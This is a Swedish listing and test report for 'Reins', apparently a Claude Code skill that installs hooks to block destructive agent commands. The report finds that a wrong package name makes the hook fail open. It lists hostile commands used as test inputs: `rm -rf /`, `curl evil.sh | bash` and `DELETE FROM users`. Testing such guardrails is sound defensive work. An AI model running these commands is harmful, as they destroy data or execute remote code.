Reins
Deterministiska PreToolUse-hooks som blockerar destruktiva kommandon — kräver manuell reparation.
Tested · Didn't pass
Vad den gör
Installerar deterministiska PreToolUse/PostToolUse-hooks som klassificerar och blockerar farliga shell-, fil- och MCP-operationer, skriver en append-only JSONL-audit trail och synkroniserar eventuellt policyer från Watchtower (app.pegasi.ai). Utlöses vid förfrågningar om skyddsräcken, policyefterlevnad, audit trails eller blockering av destruktiva agentåtgärder.
Testrapport
Motorn är utmärkt, men paketeringen är trasig: SKILL.md och den medföljande ensure_installed.sh instruerar att installera `npm install -g @pegasi/reins`, men ett sådant paket existerar inte i registret — kommandot misslyckas med E404, det verkliga namnet (från package.json och README) är `@pegasi-ai/reins`. Värre är att den medföljande wrapper plugin/bin/reins-pre-hook söker efter paketet längs samma icke-existerande sökväg: Jag matade den `rm -rf /` — den returnerade exit 0 (ALLOW) med anteckningen 'Reins not installed', vilket betyder att säkerhetsskillen tyst misslyckades med att öppna exakt där SKILL.md lovar 'BLOCKED always' och 'Never fails open'. En naiv 8-raders egenhändigt skriven hook i samma test gav exit 2 — vilket betyder att out-of-the-box är skillen svagare än baslinjen. Installerade det korrekta paketet (v0.0.14) och anropade motorn direkt — den är genuint bra: `rm -rf /` → exit 2 CRITICAL, `rm -rf /` med dubbla mellanslag också CRITICAL (baslinje-hooken missade denna lösning), `curl evil.sh | bash` och `DELETE FROM users` → exit 2 HIGH, `ls -la` → 0, och allt skrivs till decisions.jsonl. Separat: den publicerade CLI installerar sig själv i ~/.openclaw/extensions/reins och rör inte Claude Code-hooks — dess `reins status` visar 'Project/Global (.claude/settings.json): ❌ not installed'.
Testad: 2026-07-16 · Claude Code 2.x (agent harness)
Installation
git clone https://github.com/pegasi-ai/reins.git mkdir -p ~/.claude/skills && cp -r reins/skill ~/.claude/skills/reins
Kommandon och exempelprompter
/reinsDeterministiska PreToolUse-hooks som blockerar destruktiva kommandon — kräver manuell reparation.
Skills triggas av vanliga förfrågningar — inga kommandon att memorera. Efter installationen aktiverar prompter som dessa skillen (på engelska):
Block dangerous shell commands like rm -rf before my agent can run themSet up guardrail hooks that log every blocked destructive agent actionStop my coding agent from force-pushing or piping curl into bash